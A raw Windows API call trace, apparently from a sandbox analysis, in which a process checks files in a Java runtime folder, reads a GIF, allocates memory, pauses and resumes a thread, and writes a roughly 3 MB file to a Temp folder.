	[0245.258] WriteFile (in: hFile=0x0, lpBuffer=0xc00006e780, nNumberOfBytesToWrite=0x57, lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0) returned 0
	[0245.258] WriteFile (in: hFile=0x0, lpBuffer=0xc00006e780, nNumberOfBytesToWrite=0x43, lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0) returned 0
	[0245.259] SetEvent (hEvent=0x190) returned 1
	[0245.259] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages.properties"), fInfoLevelId=0x0, lpFileInformation=0xc0001df6b8 | out: lpFileInformation=0xc0001df6b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b6bdff, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b6bdff, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b6bdff, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xb2c)) returned 1
	[0245.259] WriteFile (in: hFile=0x0, lpBuffer=0xc00006e780, nNumberOfBytesToWrite=0x5f, lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0) returned 0
	[0245.259] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties"), fInfoLevelId=0x0, lpFileInformation=0xc0001df6b8 | out: lpFileInformation=0xc0001df6b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b6bdff, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b6bdff, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b9204e, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xcea)) returned 1
	[0245.259] WriteFile (in: hFile=0x0, lpBuffer=0xc00006e780, nNumberOfBytesToWrite=0x62, lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0) returned 0
	[0245.260] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties"), fInfoLevelId=0x0, lpFileInformation=0xc0001df6b8 | out: lpFileInformation=0xc0001df6b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b9204e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b9204e, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b9204e, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xe10)) returned 1
	[0245.261] WriteFile (in: hFile=0x0, lpBuffer=0xc00006e780, nNumberOfBytesToWrite=0x62, lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0) returned 0
	[0245.261] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties"), fInfoLevelId=0x0, lpFileInformation=0xc0001df6b8 | out: lpFileInformation=0xc0001df6b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b9204e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b9204e, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b9204e, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xd51)) returned 1
	[0245.261] WriteFile (in: hFile=0x0, lpBuffer=0xc00006e780, nNumberOfBytesToWrite=0x62, lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0) returned 0
	[0245.261] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties"), fInfoLevelId=0x0, lpFileInformation=0xc0001df6b8 | out: lpFileInformation=0xc0001df6b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b9204e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b9204e, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b9204e, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xc97)) returned 1
	[0245.261] WriteFile (in: hFile=0x0, lpBuffer=0xc00006e780, nNumberOfBytesToWrite=0x62, lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0) returned 0
	[0245.262] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties"), fInfoLevelId=0x0, lpFileInformation=0xc0001df6b8 | out: lpFileInformation=0xc0001df6b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b9204e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b9204e, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b9204e, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x18cd)) returned 1
	[0245.273] WriteFile (in: hFile=0x0, lpBuffer=0xc00006e780, nNumberOfBytesToWrite=0x62, lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0) returned 0
	[0245.273] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties"), fInfoLevelId=0x0, lpFileInformation=0xc0001df6b8 | out: lpFileInformation=0xc0001df6b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b9204e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b9204e, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b9204e, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x1650)) returned 1
	[0245.273] WriteFile (in: hFile=0x0, lpBuffer=0xc00006e780, nNumberOfBytesToWrite=0x62, lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0) returned 0
	[0245.274] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_pt_br.properties"), fInfoLevelId=0x0, lpFileInformation=0xc0001df6b8 | out: lpFileInformation=0xc0001df6b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b9204e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b9204e, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b9204e, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xcd5)) returned 1
	[0245.277] WriteFile (in: hFile=0x0, lpBuffer=0xc00006e780, nNumberOfBytesToWrite=0x65, lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0) returned 0
	[0245.277] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties"), fInfoLevelId=0x0, lpFileInformation=0xc0001df6b8 | out: lpFileInformation=0xc0001df6b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b9204e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b9204e, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b9204e, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xd51)) returned 1
	[0245.277] WriteFile (in: hFile=0x0, lpBuffer=0xc00006e780, nNumberOfBytesToWrite=0x62, lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0) returned 0
	[0245.277] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_cn.properties"), fInfoLevelId=0x0, lpFileInformation=0xc0001df6b8 | out: lpFileInformation=0xc0001df6b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b9204e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b9204e, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b9204e, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xfe8)) returned 1
	[0245.277] WriteFile (in: hFile=0x0, lpBuffer=0xc00006e780, nNumberOfBytesToWrite=0x65, lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0) returned 0
	[0245.278] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_hk.properties"), fInfoLevelId=0x0, lpFileInformation=0xc0001df6b8 | out: lpFileInformation=0xc0001df6b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b9204e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b9204e, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b9204e, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xea8)) returned 1
	[0245.315] VirtualAlloc (lpAddress=0xc000298000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000298000
	[0245.316] VirtualAlloc (lpAddress=0xc00029c000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00029c000
	[0245.316] VirtualAlloc (lpAddress=0xc0002a2000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0002a2000
	[0245.317] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8000, nNumberOfBytesToWrite=0x65, lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0) returned 0
	[0245.317] VirtualAlloc (lpAddress=0xc0002a4000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0002a4000
	[0245.318] VirtualAlloc (lpAddress=0xc0002aa000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0002aa000
	[0245.319] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_tw.properties"), fInfoLevelId=0x0, lpFileInformation=0xc0001df6b8 | out: lpFileInformation=0xc0001df6b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b9204e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b9204e, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b9204e, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xea8)) returned 1
	[0245.348] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8000, nNumberOfBytesToWrite=0x65, lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0) returned 0
	[0245.348] VirtualAlloc (lpAddress=0xc0002ac000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0002ac000
	[0245.349] VirtualAlloc (lpAddress=0xc0002ae000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0002ae000
	[0245.349] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash.gif"), fInfoLevelId=0x0, lpFileInformation=0xc0001df6b8 | out: lpFileInformation=0xc0001df6b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b9204e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b9204e, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b9204e, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x218e)) returned 1
	[0245.350] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8000, nNumberOfBytesToWrite=0x56, lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0) returned 0
	[0245.350] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8000, nNumberOfBytesToWrite=0x42, lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0) returned 0
	[0245.350] SetEvent (hEvent=0x1a0) returned 1
	[0245.350] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif"), fInfoLevelId=0x0, lpFileInformation=0xc0001df6b8 | out: lpFileInformation=0xc0001df6b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b9204e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b9204e, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b9204e, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x3bac)) returned 1
	[0245.351] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8000, nNumberOfBytesToWrite=0x59, lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0) returned 0
	[0245.351] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8000, nNumberOfBytesToWrite=0x45, lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0) returned 0
	[0245.351] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif"), fInfoLevelId=0x0, lpFileInformation=0xc0001df6b8 | out: lpFileInformation=0xc0001df6b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b9204e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b9204e, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b9204e, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x1e7d)) returned 1
	[0245.380] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0xffffffff) returned 0x0
	[0245.422] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8000, nNumberOfBytesToWrite=0x5d, lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0) returned 0
	[0245.422] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8000, nNumberOfBytesToWrite=0x49, lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0) returned 0
	[0245.423] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif"), fInfoLevelId=0x0, lpFileInformation=0xc0001df6b8 | out: lpFileInformation=0xc0001df6b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b9204e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b9204e, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b9204e, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x2fda)) returned 1
	[0245.423] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8000, nNumberOfBytesToWrite=0x60, lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0) returned 0
	[0245.423] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8000, nNumberOfBytesToWrite=0x4c, lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0) returned 0
	[0245.423] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8000, nNumberOfBytesToWrite=0x4e, lpNumberOfBytesWritten=0xc0001e3d94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001e3d94, lpOverlapped=0x0) returned 0
	[0245.423] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8000, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0xc0001e3d94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001e3d94, lpOverlapped=0x0) returned 0
	[0245.424] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x1ac
	[0245.424] GetConsoleMode (in: hConsoleHandle=0x1ac, lpMode=0xc0001e3bf4 | out: lpMode=0xc0001e3bf4) returned 0
	[0245.424] GetFileType (hFile=0x1ac) returned 0x1
	[0245.424] VirtualAlloc (lpAddress=0xc0002b0000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0002b0000
	[0245.425] GetFileType (hFile=0x1ac) returned 0x1
	[0245.425] GetFileInformationByHandle (in: hFile=0x1ac, lpFileInformation=0xc0001e3c44 | out: lpFileInformation=0xc0001e3c44) returned 1
	[0245.425] GetFileInformationByHandleEx (in: hFile=0x1ac, FileInformationClass=0x9, lpFileInformation=0xc0001e3c28, dwBufferSize=0x8 | out: lpFileInformation=0xc0001e3c28) returned 1
	[0245.426] VirtualAlloc (lpAddress=0xc0002b8000, dwSize=0xe000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0002b8000
	[0245.429] ReadFile (in: hFile=0x1ac, lpBuffer=0xc0002b8000, nNumberOfBytesToRead=0x207d, lpNumberOfBytesRead=0xc0001e3b04, lpOverlapped=0x0 | out: lpBuffer=0xc0002b8000*, lpNumberOfBytesRead=0xc0001e3b04*=0x1e7d, lpOverlapped=0x0) returned 1
	[0245.492] ReadFile (in: hFile=0x1ac, lpBuffer=0xc0002b9e7d, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0xc0001e3b04, lpOverlapped=0x0 | out: lpBuffer=0xc0002b9e7d*, lpNumberOfBytesRead=0xc0001e3b04*=0x0, lpOverlapped=0x0) returned 1
	[0245.492] CloseHandle (hObject=0x1ac) returned 1
	[0245.492] VirtualAlloc (lpAddress=0xc0002b2000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0002b2000
	[0245.493] VirtualAlloc (lpAddress=0xc0002c6000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0002c6000
	[0245.690] SetEvent (hEvent=0x17c) returned 1
	[0245.690] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0xffffffff) returned 0x0
	[0245.712] SetEvent (hEvent=0xe4) returned 1
	[0245.713] SwitchToThread () returned 1
	[0245.760] SwitchToThread () returned 1
	[0245.777] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x178, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x7070dff7f8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x7070dff7f8*=0x120) returned 1
	[0245.777] SuspendThread (hThread=0x120) returned 0x0
	[0245.777] GetThreadContext (in: hThread=0x120, lpContext=0x7070dff810 | out: lpContext=0x7070dff810*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10202, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc0000c9d60, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x11493cf, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
	[0245.800] ResumeThread (hThread=0x120) returned 0x1
	[0245.800] CloseHandle (hObject=0x120) returned 1
	[0245.800] SwitchToThread () returned 1
	[0245.913] SetEvent (hEvent=0x190) returned 1
	[0245.913] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\ac4d62ca3591c57d97b943f6da564a8e" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\ac4d62ca3591c57d97b943f6da564a8e"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120
	[0245.914] GetConsoleMode (in: hConsoleHandle=0x120, lpMode=0xc0003e5c04 | out: lpMode=0xc0003e5c04) returned 0
	[0245.914] GetFileType (hFile=0x120) returned 0x1
	[0245.914] WriteFile (in: hFile=0x120, lpBuffer=0xc000812000*, nNumberOfBytesToWrite=0x2e57fa, lpNumberOfBytesWritten=0xc0003e5bec, lpOverlapped=0x0 | out: lpBuffer=0xc000812000*, lpNumberOfBytesWritten=0xc0003e5bec*=0x2e57fa, lpOverlapped=0x0) returned 1
	[0246.038] CloseHandle (hObject=0x120) returned 1
	[0246.281] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0xffffffff) returned 0x0
	[0246.383] SwitchToThread () returned 1
